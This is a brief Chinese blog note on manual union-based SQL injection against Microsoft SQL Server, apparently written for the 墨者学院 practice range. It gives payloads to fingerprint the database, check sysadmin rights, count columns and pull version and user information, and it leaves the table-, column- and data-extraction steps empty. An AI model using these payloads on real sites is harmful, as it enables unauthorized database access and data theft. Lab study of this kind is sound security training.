SQL Serves手注之联合查询注入

Mssql数据库特点

  • 高性能设计,可充分利用WindowsNT的优势
  • 系统管理先进,支持windowsNT的优势
  • 强壮的事物处理功能
  • 支持堆成多处理器结构、存储过程、ODBC,并具有资助的SQL语句。

Mssql数据库补充介绍

判断是都为Mssql数据库

and exists(select * from sysobjects) --+

  • exists()用于判断查询子语句是都有记录
  • sysobjects 是SQLServer一张特有的表

判断权限的语句

and 1=(select is_srvrolember('sysadmin'))

  • is_srvrolemember()指定登录名是否为指定服务器角色的成员

注入流程

1.判断注入

  • '
  • and 1=1
  • and 1=2

2.字段长度

  • order by

3.寻找字符型显示位置

  • id=-2 union all select ‘1’,‘2’,‘3’,‘4’
  • 课用 null辅助判断
  • 使用union all 是因为在墨者学院这个靶场里,可能是过滤了union

  1. 查询基本信息
  • @@version 获取版本信息
  • db_name() 数据库名字
  • user,system_user,current_user,user_name 获取当前用户名
  • @@SERVERNAME 获取有关服务器主机的信息

5.查询表名字


6.获取列名


7.获取数据

原文地址:https://www.cnblogs.com/ceiling-/p/14411429.html